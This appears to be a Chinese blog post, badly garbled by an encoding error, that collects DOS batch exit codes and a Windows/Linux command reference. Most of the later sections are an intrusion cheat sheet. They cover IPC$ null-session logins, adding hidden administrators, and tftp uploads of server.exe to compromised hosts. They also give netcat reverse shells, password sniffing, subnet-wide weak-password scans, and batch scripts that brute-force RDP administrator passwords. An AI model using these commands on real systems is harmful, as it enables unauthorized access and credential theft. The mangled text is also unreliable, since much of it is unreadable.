1 使用了非法的键盘代码Q字W集或语?br>2 键盘定义文g坏或未找?br>4 键盘、监视器通讯时出?br>5 要求的字W集未准备好

move
0 成功地移动了指定的文?br>1 发生了错?/p>

msav /N
86 查到了病?/p>

replace
0 REPLACE成功地替换或加入了文?br>1 MS-DOS版本和REPLACE不兼?br>2 REPLACE找不到源文g
3 REPLACE找不到源路径或目标\?br>5 不能存取要替换的文g
8 内存不够无法执行REPLACE
11 命o(h)行句法错?/p>

restore
0 RESTORE成功地恢复了文g
1 RESTORE找不到要恢复的文?br>3 用户按CTRL+Cl止恢复q程
4 RESTORE因错误而终?/p>

scandisk
0 ScanDisk在它查的驱动器上未检到M错误
1 ׃命o(h)行的语法不对Q不能运行ScanDisk
2 ׃内存用尽或发生内部错误,ScanDisk意外l止
3 用户让ScanDisk中途退?br>4 q行盘面扫描Ӟ用户军_提前退?br>254 ScanDisk扑ֈ盘故障q已全部校正
255 ScanDisk扑ֈ盘故障Q但未能全部校正

setver
0 SETVER成功地完成了d
1 用户指定了一个无效的命o(h)开?br>2 用户指定了一个非法的文g?br>3 没有_的系l内存来q行命o(h)
4 用户指定了一个非法的版本h?br>5 SETVER在版本表中未扑ֈ指定的项
6 SETVER未找到SETVER.EXE文g
7 用户指定了一个非法的驱动?br>8 用户指定了太多的命o(h)行参?br>9 SETVER到丢失了命令行参数
10 在读SETVER.EXE文gӞSETVER到发生错误
11 SETVER.EXE文g损坏
12 指定的SETVER.EXE文g不支持版本表
13 版本表中没有_的空间存放新的项
14 在写SETVER.EXE文g时SETVER到发生错误
========================================================================

3、IF STRING1 == STRING2

建立TEST5.BATQ文件内容如下:(x)
@echo off
IF "%1" == "A" FORMAT A:

执行Q?br>C:\>TEST5 A
屏幕上就出现是否A:盘格式化的内宏V?/p>

注意Qؓ(f)了防止参Cؓ(f)I的情况Q一般会(x)字W串用双引号Q或者其它符P注意不能使用保留W号Q括h?br>如:(x)if [%1]==[A] 或?if %1*==A*

5、GOTO

建立TEST6.BATQ文件内容如下:(x)
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE

注意Q?br>(1) 标号前是ASCII字符的冒?:"Q冒号与标号之间不能有空根{?br>(2) 标号的命名规则与文g名的命名规则相同?br>(3) DOS支持最长八位字W的标号Q当无法区别两个标号Ӟ蟩转至最q的一个标受?/p>

==== willsort ~注 =====================================================
1)标号也称作标{?label)
2)标签不能以大多数的非字母数字字符开? 而文件名中则可以使用很多
3)当无法区别两个标{时, 蟩转至位置最靠前的标{?br>========================================================================

6、FOR

建立C:\TEST7.BATQ文件内容如下:(x)
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

q行Q?br>C:\>TEST7

执行以后Q屏q上?x)将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内Ҏ(gu)C出来(不包括隐藏文Ӟ?/p>

Alpha 2007-08-06 10:40 发表评论
]]>
DOS命o(h)字典-全集http://www.aygfsteel.com/Alpha/articles/89435.htmlAlphaAlphaFri, 22 Dec 2006 01:46:00 GMThttp://www.aygfsteel.com/Alpha/articles/89435.htmlhttp://www.aygfsteel.com/Alpha/comments/89435.htmlhttp://www.aygfsteel.com/Alpha/articles/89435.html#Feedback0http://www.aygfsteel.com/Alpha/comments/commentRss/89435.htmlhttp://www.aygfsteel.com/Alpha/services/trackbacks/89435.htmlnet use \\ip\ipc$ " " /user:" " 建立IPCI链?
net use \\ip\ipc$ "密码" /user:"用户? 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户? 直接登陆后映对方CQ到本地为H:
net use h: \\ip\c$ 登陆后映对方CQ到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射Ҏ(gu)到本地的为H:的映?
net user 用户名 密码 /add 建立用户
net user guest /active:yes Ȁzguest用户
net user 查看有哪些用?
net user 帐户?查看帐户的属?
net localgroup ***istrators 用户?/add 把“用户”添加到理员中使其h理员权?注意Q?**istrator后加s用复?
net start 查看开启了哪些服务
net start 服务名  开启服务;(?net start telnetQ?net start schedule)
net stop 服务?停止某服?
net time \\目标ip 查看Ҏ(gu)旉
net time \\目标ip /set 讄本地计算机时间与“目标IP”主机的旉同步,加上参数/yes可取消确认信?
net view 查看本地局域网内开启了哪些׃n
net view \\ip 查看Ҏ(gu)局域网内开启了哪些׃n
net config 昄pȝ|络讄
net logoff 断开q接的共?
net pause 服务?暂停某服?
net send ip "文本信息" 向对方发信息
net ver 局域网内正在用的|络q接cd和信?
net share 查看本地开启的׃n
net share ipc$ 开启ipc$׃n
net share ipc$ /del 删除ipc$׃n
net share c$ /del 删除CQ共?
net user guest 12345 用guest用户登陆后用密码改?2345
net password 密码 更改pȝ登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网l连接情况,常用netstat -an
netstat -v 查看正在q行的工?
netstat -p 协议?例:(x)netstat -p tcq/ip 查看某协议用情况(查看tcp/ip协议使用情况Q?
netstat -s 查看正在使用的所有协议用情?
nbtstat -A ip Ҏ(gu)136?39其中一个端口开了的话,可查看Ҏ(gu)最q登陆的用户名(03前的为用户名Q?注意Q参?A要大?
tracert -参数 ip(或计机? 跟踪路由Q数据包Q,参数Q?w数字”用于设|超旉隔?
ping ip(或域? 向对方主机发送默认大ؓ(f)32字节的数据,参数Q?l[I格]数据包大”;?n发送数据次数”;?t”指一直ping?
ping -t -l 65550 ip M之ping(发送大?4K的文件ƈ一直ping成了死亡之ping)
ipconfig (winipcfg) 用于windows NT?qing)XP(windows 95 98)查看本地ip地址Qipconfig可用参数?all”显C全部配|信?
tlist -t 以树(wi)行列表显CE?为系l的附加工具Q默认是没有安装的,在安装目录的Support/tools文g夹内)
kill -F q程??F参数后强制结束某q程(为系l的附加工具Q默认是没有安装的,在安装目录的Support/tools文g夹内)
del -F 文g??F参数后就可删除只L?/AR?AH?AS?AA分别表示删除只读、隐藏、系l、存档文Ӟ/A-R?A-H?A-S?A-A表示删除除只诅R隐藏、系l、存档以外的文g。例如“DEL/AR *.*”表C删除当前目录下所有只LӞ“DEL/A-S *.*”表C删除当前目录下除系l文件以外的所有文?br />

#2 二:(x)
del /S /Q 目录 或用Qrmdir /s /Q 目录 /S删除目录?qing)目录下的所有子目录和文件。同时用参?Q 可取消删除操作时的系l确认就直接删除。(二个命o(h)作用相同Q?
move 盘符\路径\要移动的文g名 存放Ud文g的\径\Ud后文件名 Ud文g,用参?y取消确认移动目录存在相同文件的提示q接覆?
fc one.txt two.txt > 3st.txt Ҏ(gu)二个文gq把不同之处输出?st.txt文g中,"> "?> >" 是重定向命o(h)
at id?开启已注册的某个计划Q?
at /delete 停止所有计划Q务,用参?yes则不需要确认就直接停止
at id?/delete 停止某个已注册的计划d
at 查看所有的计划d
at \\ip time E序?或一个命? /r 在某旉q行Ҏ(gu)某程序ƈ重新启动计算?
finger username @host 查看最q有哪些用户登陆
telnet ip 端口 q和登陆服务?默认端口?3
open ip q接到IPQ属telnet登陆后的命o(h)Q?
telnet 在本Z直接键入telnet 进入本机的telnet
copy 路径\文g? 路径\文g? /y 复制文g1到指定的目录为文?Q用参数/y同时取消确认你要改写一份现存目录文?
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***?
cppy 1st.jpg/b+2st.txt/a 3st.jpg ?st.txt的内容藏w到1st.jpg中生?st.jpg新的文gQ注Q?st.txt文g头要IZ排,参数Q?b指二q制文gQ?a指ASCLL格式文g
copy \\ip\***$\svv.exe c:\ ?copy\\ip\***$\*.* 复制Ҏ(gu)***i$׃n下的srv.exe文gQ所有文Ӟx地CQ?
xcopy 要复制的文g或目录树(wi) 目标地址\目录?复制文g和目录树(wi)Q用参数/Y不提示覆盖相同文g
tftp -i 自己IP(用肉Zx时这用肉机IP) get server.exe c:\server.exe 登陆后,“IP”的server.exe下蝲到目标主机c:\server.exe 参数Q?i指以二进制模式传送,如传送exe文g时用Q如不加-i 则以ASCII模式Q传送文本文件模式)q行传?
tftp -i Ҏ(gu)IP put c:\server.exe 登陆后,上传本地c:\server.exe至主?
ftp ip 端口 用于上传文gx务器或进行文件操作,默认端口?1。bin指用二进制方式传送(可执行文件进Q;默认为ASCII格式传?文本文g?
route print 昄出IP路由Q将主要昄|络地址Network addresQ子|掩码NetmaskQ网兛_址Gateway addresQ接口地址Interface
arp 查看和处理ARP~存QARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a显C出全部信息
start E序名或命o(h) /max ?min 新开一个新H口q最大化Q最化Q运行某E序或命?
mem 查看cpu使用情况
attrib 文g?目录? 查看某文Ӟ目录Q的属?
attrib 文g?-A -R -S -H ?+A +R +S +H L(d)某文件的 存档Q只读,pȝQ隐?属性;用+则是d为某属?
dir 查看文gQ参敎ͼ(x)/Q昄文g?qing)目录属pȝ哪个用户Q?T:C昄文g创徏旉Q?T:A昄文g上次被访问时_(d)/T:W上次被修Ҏ(gu)?
date /t ?time /t 使用此参数即“DATE/T”、“TIME/T”将只显C当前日期和旉Q而不必输入新日期和时?
set 指定环境变量名称=要指z变量的字W?讄环境变量
set 昄当前所有的环境变量
set p(或其它字W? 昄出当前以字符p(或其它字W?开头的所有环境变?
pause 暂停批处理程序,q显C出Q请按Q意键l箋....
if 在批处理E序中执行条件处理(更多说明见if命o(h)?qing)变量?
goto 标签 cmd.exe导向到批处理E序中带标签的行Q标{ֿd独一行,且以冒号打头Q例如:(x)“:(x)start”标{)
call 路径\批处理文件名 从批处理E序中调用另一个批处理E序 Q更多说明见call /?Q?
for 对一l文件中的每一个文件执行某个特定命令(更多说明见for命o(h)?qing)变量?
echo on或off 打开或关闭echoQ仅用echo不加参数则显C当前echo讄
echo 信息 在屏q上昄Z?
echo 信息 >> pass.txt ?信息"保存到pass.txt文g?
findstr "Hello" aa.txt 在aa.txt文g中寻扑֭W串hello
find 文g?查找某文?
title 标题名字 更改CMDH口标题名字
color 颜色?讄cmd控制台前景和背景颜色Q?Q黑?Q蓝?Q绿?Q浅lѝ?Q红?Q?Q黄?=白?=灰?=淡蓝、AQElѝB=淡浅lѝC=淡红、D=淡、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显C的命o(h)提示W?把C:\、D:\l一改ؓ(f)QEntSky\ )

#3 三:(x)
ver 在DOSH口下显C版本信?
winver 弹出一个窗口显C版本信息(内存大小、系l版本、补丁版本、计机名)
format 盘符 /FS:cd 格式化磁?cd:FAT、FAT32、NTFS ,例:(x)Format D: /FS:NTFS
md 目录?创徏目录
replace 源文件 要替换文件的目录 替换文g
ren 原文件名 新文件名 重命名文件名
tree 以树(wi)形结构显C出目录Q用参数-f 列出第个文件夹中文件名U?
type 文g?昄文本文g的内?
more 文g?逐屏昄输出文g
doskey 要锁定的命o(h)Q字W?br />doskey 要解锁命? 为DOS提供的锁定命?~辑命o(h)行,重新调用win2k命o(h)Qƈ创徏?。如Q锁定dir命o(h)Qdoskey dir=entsky (不能用doskey dir=dir)Q解锁:(x)doskey dir=
taskmgr 调出d理?
chkdsk /F D: 查磁盘Dq显C状态报告;加参?fq修复磁盘上的错?
tlntadmn telnt服务admn,键入tlntadmn选择3Q再选择8,可以更改telnet服务默认端口23为其它Q何端?
exit 退出cmd.exeE序或目前,用参?B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文g?为可执行文g讄一个\径?
cmd 启动一个win2K命o(h)解释H口。参敎ͼ(x)/eff?en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无Q何提C;
regedit /e 注册表文件名 导出注册?
cacls 文g名 参数 昄或修Ҏ(gu)件访问控制列表(ACLQ——针对NTFS格式时。参敎ͼ(x)/D 用户?讑֮拒绝某用戯问;/P 用户?perm 替换指定用户的访问权限;/G 用户?perm 赋予指定用户讉K权限QPerm 可以? N 无,R dQ?W 写入Q?C 更改(写入)QF 完全控制Q例Qcacls D:\test.txt /D pub 讑֮d:\test.txt拒绝pub用户讉K?
cacls 文g?查看文g的访问用h限列?
REM 文本内容 在批处理文g中添加注?
netsh 查看或更Ҏ(gu)地网l配|情?br />

#4 四:(x)
IIS服务命o(h)Q?
iisreset /reboot 重启win2k计算机(但有提示pȝ重启信息出玎ͼ
iisreset /start或stop 启动Q停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 昄所有Internet服务状?
iisreset /enable或disable 在本地系l上启用Q禁用)Internet服务的重新启?
iisreset /rebootonerror 当启动、停止或重新启动Internet服务Ӟ若发生错误将重新开?
iisreset /noforce 若无法停止Internet服务Q将不会(x)强制l止Internet服务
iisreset /timeout Val在到N时_(d)U)Ӟ仍未停止Internet服务Q若指定/rebootonerror参数Q则?sh)脑?x)重新开机。预讑րgؓ(f)重新启动20U,停止60U,重新开?U?
FTP 命o(h)Q?(后面有详l说明内?
ftp的命令行格式?
ftp Qv Qd Qi Qn Qg[L名] Qv 昄q程服务器的所有响应信息?br />Qd 使用调试方式?
Qn 限制ftp的自动登?即不使用.netrc文g?br />Qg 取消全局文g名?
help [命o(h)] ?Q[命o(h)] 查看命o(h)说明
bye ?quit l止LFTPq程,q出FTP理方式.
pwd 列出当前q端L目录
put ?send 本地文g?[上传CZ的文件名] 本C个文件传送至q端L?
get ?recv [q程L文g名] [下蝲到本地后的文件名] 从远端主Z传送至本地L?
mget [remote-files] 从远端主机接收一Ҏ(gu)件至本地L
mput local-files 本CZ一Ҏ(gu)件传送至q端L
dir ?ls [remote-directory] [local-file] 列出当前q端L目录中的文g.如果有本地文?将l果写至本地文g
ascii 讑֮以ASCII方式传送文?~省?
bin ?image 讑֮以二q制方式传送文?
bell 每完成一ơ文件传?报警提示
cdup q回上一U目?
close 中断与远E服务器的ftp?x)?与open对应)
open host[port] 建立指定ftp服务器连?可指定连接端?
delete 删除q端L中的文g
mdelete [remote-files] 删除一Ҏ(gu)?
mkdir directory-name 在远端主Z建立目录
rename [from] [to] 改变q端L中的文g?
rmdir directory-name 删除q端L中的目录
status 昄当前FTP的状?
system 昄q端Lpȝcd
user user-name [password] [account] 重新以别的用户名dq端L
open host [port] 重新建立一个新的连?
prompt 交互提示模式
macdef 定义宏命?
lcd 改变当前本地L的工作目?如果~省,p{到当前用L(fng)HOME目录
chmod 改变q端L的文件权?
case 当ؓ(f)ON?用MGET命o(h)拯的文件名到本地机器中,全部转换为小写字?
cd remoteQdir q入q程L目录
cdup q入q程L目录的父目录
! 在本地机中执行交互shellQexit回到ftp环境,?lsQ?zip

#5 五:(x)
MYSQL 命o(h)Q?
mysql -hL地址 -u用户?Qp密码 q接MYSQL;如果刚安装好MYSQLQ超U用户root是没有密码的?br />Q例Qmysql -h110.110.110.110 -Uroot -P123456
?u与root可以不用加空|其它也一P
exit 退出MYSQL
mysql*** -u用户?-p旧密?password 新密?修改密码
grant select on 数据?* to 用户名@dL identified by \"密码\"; 增加新用戗(注意Q和上面不同Q下面的因ؓ(f)是MYSQL环境中的命o(h)Q所以后面都带一个分号作为命令结束符Q?
show databases; 昄数据库列表。刚开始时才两个数据库Qmysql和test。mysql库很重要它里面有MYSQL的系l信息,我们改密码和新增用户Q实际上是用这个库q行操作?
use mysqlQ?br />show tables; 昄库中的数据表
describe 表名; 昄数据表的l构
create database 库名; 建库
use 库名Q?br />create table 表名 (字段讑֮列表)Q?
drop database 库名;
drop table 表名Q?删库和删?
delete from 表名; 表中记录清I?
select * from 表名; 昄表中的记?
mysqldump --opt school>school.bbb 备䆾数据库:(x)Q命令在DOS?a>\\mysql\\bin目录下执行);注释:数据库school备䆾到school.bbb文gQschool.bbb是一个文本文Ӟ文g名Q取,打开看看你会(x)有新发现?
win2003pȝ下新增命令(实用部䆾Q:(x)
shutdown /参数 关闭或重启本地或q程L?br />参数说明Q?S 关闭LQ?R 重启LQ?/T 数字 讑֮延时的时_(d)范围0?80U之_(d) /A取消开机,/M //IP 指定的远E主机?br />例:(x)shutdown /r /t 0 立即重启本地LQ无延时Q?
taskill /参数 q程名或q程的pid l止一个或多个d和进E?br />参数说明Q?PID 要终止进E的pid,可用tasklist命o(h)获得各进E的pidQ?IM 要终止的q程的进E名Q?F 强制l止q程Q?T l止指定的进E及(qing)他所启动的子q程?
tasklist 昄当前q行在本地和q程L上的q程、服务、服务各q程的进E标识符(PID)?br />参数说明Q?M 列出当前q程加蝲的dll文gQ?SVC 昄出每个进E对应的服务Q无参数时就只列出当前的q程?br />

#6 六:(x)
Linuxpȝ下基本命令:(x) 要区分大写
uname 昄版本信息Q同win2K?verQ?
dir 昄当前目录文g,ls -al 昄包括隐藏文gQ同win2K?dirQ?
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd ?.之间有空根{cd /q回到根目录?
cat 文g?查看文g内容
cat >abc.txt 往abc.txt文g中写上内宏V?
more 文g?以一一늚方式昄一个文本文件?
cp 复制文g
mv Ud文g
rm 文g?删除文gQrm -a 目录名删除目录及(qing)子目?
mkdir 目录?建立目录
rmdir 删除子目录,目录内没有文档?
chmod 讑֮档案或目录的存取权限
grep 在档案中查找字符?
diff 档案文g比较
find 档案搜寻
date 现在的日期、时?
who 查询目前和你使用同一台机器的Z?qing)Login旉地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名U?
groups 查看某h的Group
passwd 更改密码
history 查看自己下过的命?
ps 昄q程状?
kill 停止某进E?
gcc 黑客通常用它来编译C语言写的文g
su 权限转换为指定用?
telnet IP telnetq接Ҏ(gu)LQ同win2KQ,当出现bash$时就说明q接成功?
ftp ftpq接上某服务器(同win2KQ?


附:(x)批处理命令与变量
1Qfor命o(h)?qing)变?基本格式Q?
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数Q如Q?i Q而指定一个变量则用:(x)%%i Q而调用变量时用:(x)%i% Q变量是区分大小写的Q?i 不等?%IQ?br />批处理每ơ能处理的变量从%0?9?0个,其中%0默认l批处理文g名用,%1默认Z用此批处理时输入的的W一个|同理Q?2?9指输入的W?-9个|例:(x)net use \\ip\ipc$ pass /user:user 中ip?1,pass?2 ,user?3
(set):指定一个或一l文Ӟ可用通配W,如:(x)(D:\user.txt)?1 1 254)(1 -1 254),{ ?1 1 254)”第一?1"指v始|W二?1"指增镉KQ第三个"254"指结束|卻I(x)??54Q?1 -1 254)”说明:(x)即从254? }
commandQ指定对W个文g执行的命令,如:(x)net use命o(h)Q如要执行多个命令时Q命令这间加Q?amp; 来隔开
command_parametersQؓ(f)特定命o(h)指定参数或命令行开?/div>
IN (set)Q指?set)中取|DO command Q指执行command
参数Q?L 指用增量形式{ (set)为增量Ş式时 }Q?F 指从文g中不断取|直到取完为止{ (set)为文件时Q如(d:\pass.txt)?}?
用法举例Q?
@echo off
echo 用法格式Qtest.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命o(h)成功完成" >>test.txt
存ؓ(f)test.bat 说明Q对指定的一个CcȝD늚254个IP依次试徏?**istrator密码为空的IPC$q接Q如果成功就把该IP存在test.txt中?/div>
/L指用增量形式Q即?-254?54-1Q;输入的IP前面三位Q?.*.*为批处理默认?%1Q?%G 为变?ip的最后一位)Q?amp; 用来隔开echo 和net use q二个命令;| 指徏立了ipc$后,在结果中用find查看是否?命o(h)成功完成"信息Q?1.%%G 为完整的IP地址Q?1 1 254) 指v始|增长量,l止倹{?
@echo off
echo 用法格式Qok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存ؓ(f)Qok.exe 说明Q输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码Q直到文件中值取完ؓ(f)止?%i为用户名Q?1入的IP地址Q默认)?br />

#7 七:(x)
2Qif命o(h)?qing)变?基本格式Q?
IF [not] errorlevel 数字 命o(h)语句 如果E序q行最后返回一个等于或大于指定数字的退出编码,指定条g为“真”?br />例:(x)IF errorlevel 0 命o(h) 指程序执行后q回的gؓ(f)0ӞD后面的命令;IF not errorlevel 1 命o(h)指程序执行最后返回的g{于1Q就执行后面的命令?br />0 指发现ƈ成功执行Q真Q;1 指没有发现、没执行Q假Q?
IF [not] 字符?==字符? 命o(h)语句 如果指定的文本字W串匚wQ即Q字W串1 {于 字符?Q,执行后面的命o(h)?br />例:(x)“if "%2%"=="4" goto start”指Q如果输入的W二个变量ؓ(f)4Ӟ执行后面的命令(注意Q调用变量时?变量?q加" "Q?
IF [not] exist 文g?命o(h)语句 如果指定的文件名存在Q就执行后面的命令?br />例:(x)“if not nc.exe goto end”指Q如果没有发现nc.exe文gp?:end"标签处?
IF [not] errorlevel 数字 命o(h)语句 else 命o(h)语句?IF [not] 字符?==字符? 命o(h)语句 else 命o(h)语句?IF [not] exist 文g?命o(h)语句 else 命o(h)语句 加上Qelse 命o(h)语句后指Q当前面的条件不成立Ӟ指行else后面的命令。注意:(x)else 必须?if 在同一行才有效?当有del命o(h)旉把del命o(h)全部内容?lt; >括v来,因ؓ(f)del命o(h)要单独一行时才能执行Q用?lt; >后就{于是单独一行了Q例如:(x)“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命o(h)中的??

Q二Q系l外部命?均需下蝲相关工具)Q?/div>
1、瑞士军刀Qnc.exe
参数说明Q?
-h 查看帮助信息
-d 后台模式
-e progE序重定向,一但连接就执行Qd险]
-i secs延时的间?
-l 监听模式Q用于入站连?
-L 监听模式Q连接天闭后仍然l箋监听Q直到CTR+C
-n IP地址Q不能用域名
-o film记录16q制的传?
-p[I格]端口 本地端口?
-r 随机本地?qing)远E端?
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出Q用-vv更详细
-w数字 timeout延时间隔
-z 输入,输出xQ用于扫锚时Q?
基本用法Q?
nc -nvv 192.168.0.1 80 q接?92.168.0.1L?0端口
nc -l -p 80 开启本机的TCP 80端口q监?
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1?0-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe l定remoteL的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remoteL的cmdshellq反向连?92.168.0.2?354端口
高用法Q?
nc -L -p 80 作ؓ(f)蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C为止
nc -L -p 80 > c:\log.txt 作ؓ(f)蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作ؓ(f)蜜罐?-1Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:\honeyport.txt中内定w入道中,亦可起到传送文件作?
type.exe c:\honeyport | nc -L -p 80 作ؓ(f)蜜罐?-2Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:\honeyport.txt中内定w入道?亦可起到传送文件作?
本机上用Qnc -l -p 本机端口
在对方主Z用:(x)nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向q接H破Ҏ(gu)L的防火墙
本机上用Qnc -d -l -p 本机端口 < 要传送的文g路径?qing)名U?
在对方主Z用:(x)nc -vv 本机IP 本机端口 > 存放文g的\径及(qing)名称 传送文件到Ҏ(gu)L
?注:(x)
| 道命o(h)
< ?> 重定向命令。?lt;”,例如Qtlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命o(h)
Q?表示执行Q后面的命o(h)Q但不会(x)昄出来Q后台执行)Q例Q@dir c:\winnt >> d:\log.txt 意思是Q后台执行dirQƈ把结果存在d:\log.txt?
>?gt;>的区? ">"指:(x)覆盖Q?>>"指:(x)保存?d刎ͼ?br />如:(x)@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命o(h)分别执行二次比较看:(x)?gt;>的则是把二次的结果都保存了,而用Q?gt;则只有一ơ的l果Q是因ؓ(f)W二ơ的l果把第一ơ的覆盖了?br />


#8 八:(x)
2、扫锚工P(x)xscan.exe
基本格式
xscan -host <起始IP>[-<l止IP>] <项?gt; [其他选项] 扫锚"起始IP到终止IP"D늚所有主Z?
xscan -file <L列表文g?gt; <项?gt; [其他选项] 扫锚"LIP列表文g?中的所有主Z?
项?
-active 主机是否存?gu)z?
-os 远E操作系l类型(通过NETBIOS和SNMP协议Q?
-port 常用服务的端口状?
-ftp FTP弱口?
-pub FTP服务匿名用户写权?
-pop3 POP3-Server弱口?
-smtp SMTP-Server漏洞
-sql SQL-Server弱口?
-smb NT-Server弱口?
-iis IIS~码/解码漏洞
-cgi CGI漏洞
-nasl 加蝲Nessusd脚本
-all 以上所有项?
其它选项
-i 适配器编?讄|络适配? <适配器编?gt;可通过"-l"参数获取
-l 昄所有网l适配?
-v 昄详细扫描q度
-p 跌没有响应的主?
-o 跌没有到开攄口的L
  -t q发U程数量,q发L数量 指定最大ƈ发线E数量和q发L数量, 默认数量?00,10
-log 文g?指定扫描报告文g?(后缀为:(x)TXT或HTML格式的文?
用法CZ
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  ?92.168.1.1-192.168.255.255|段内主机的所有漏z,跌无响应的L
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o ?92.168.1.1-192.168.255.255|段内主机的标准端口状态,NT弱口令用P最大ƈ发线E数量ؓ(f)150Q蟩q没有检到开攄口的L
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o “hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞Q最大ƈ发线E数量ؓ(f)200Q同一时刻最多检?C机,昄详细进度,跌没有到开攄口的L


#9 ?ji)?x)
3、命令行方式嗅探? xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据?
-udp 输出UDP数据?
-icmp 输出ICMP数据?
-pass qo(h)密码信息
-hide 后台q行
-host 解析L?
-addr IP地址 qo(h)IP地址
-port 端口 qo(h)端口
-log 文g?输Z存到文g
-asc 以ASCII形式输出
-hex ?6q制形式输出
用法CZ
xsniff.exe -pass -hide -log pass.log 后台q行嗅探密码q将密码信息保存在pass.log文g?
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1q过滤tcp和udp信息q以ASCII格式输出
4、终端服务密码破? tscrack.exe
参数说明
-h 昄使用帮助
-v 昄版本信息
-s 在屏q上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个q接Q多U程Q?
-N Prevent System Log entries on targeted server
-U 卸蝲U除tscracklg
-f 使用Qf后面的密?
-F 间隔旉Q频率)
-l 使用Ql后面的用户名
-w 使用Qw后面的密码字?
-p 使用Qp后面的密?
-D d主页?
用法CZ
tscrack 192.168.0.1 -l ***istrator -w pass.dic q程用密码字典文件暴破主机的***istrator的登陆密?
tscrack 192.168.0.1 -l ***istrator -p 123456 用密?23456q程登陆192.168.0.1?**istrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存?389.bat) Q假讄有用SuperScan或其它扫锚器扫到一批开?389的主机IP列表文g3389.txt)
3389.bat意思是Q从3389.txt文g中取一个IPQ接着q行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (q行3389.batO(jin)KQ且3389.bat、hack.bat?389.txt、pass.dic与tscrack.exe在同一个目录下Q就可以{待l果?
hack.bat意思是Q运行tscrack.exe用字典暴?389.txt中所有主机的***istrator密码Qƈ破解结果保存在rouji.txt文g中?


5、其它:(x)
Shutdown.exe
Shutdown \\IP地址 t:20 20U后对方NT自动关闭QWindows 2003pȝ自带工具Q在Windows2000下用q就得下载此工具才能用。在前面Windows 2003 DOS命o(h)中有详细介绍。)
fpipe.exe (TCP端口重定向工? 在第二篇中有详细说明Q端口重定向l过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你?0端口Ӟ他扫到的l果?x)完全?a >www.sina.com.cn的主Z?
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnethl端口重定向后,通过88端口发送到目标IP?3端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后Q直接Telnet 127.0.0.1Q本机IPQ就q接到目标IP?3端口了?
OpenTelnet.exe (q程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 Q不需要上传ntlm.exe破坏微Y的n份验证方式)直接q程开启对方的telnet服务后,可用telnet \\ip q接上对斏V?br />NTLM认证方式Q0Q不使用NTLMw䆾验证Q1Q先试NTLMw䆾验证Q如果失败,再用用户名和密码;Q:(x)只用NTLMw䆾验证?/div>
ResumeTelnet.exe (OpenTelnet附带的另一个工?
resumetelnet.exe \\IP 帐号 密码 用Telnetq接完对方后Q就用这个命令将Ҏ(gu)的Telnet讄q原Qƈ同时关闭Telnet服务?br />

#10 十:(x)
6、FTP命o(h)详解Q?/div>
FTP命o(h)是Internet用户使用最频繁的命令之一Q熟(zhn)ƈ灉|应用FTP的内部命令,可以大大方便使用者,q收C半功倍之效。如果你惛_?fn)用进行后台FTP下蝲Q那么就必须学习(fn)FTP指o(h)?/div>
FTP的命令行格式为:(x)
ftp -v -d -i -n -g [L名] Q其?/div>
-v 昄q程服务器的所有响应信息;
-n 限制ftp的自动登录,即不使用Q?n etrc文gQ?/div>
-d 使用调试方式Q?/div>
-g 取消全局文g名?/div>
FTP使用的内部命令如?中括可C可选项):
1.![cmd[args]]Q在本地Z执行交互shellQexit回到ftp环境Q如Q?ls*.zip
2.$ macro-ame[args]Q?执行宏定义macro-name?/div>
3.account[password]Q?提供dq程pȝ成功后访问系l资源所需的补充口令?
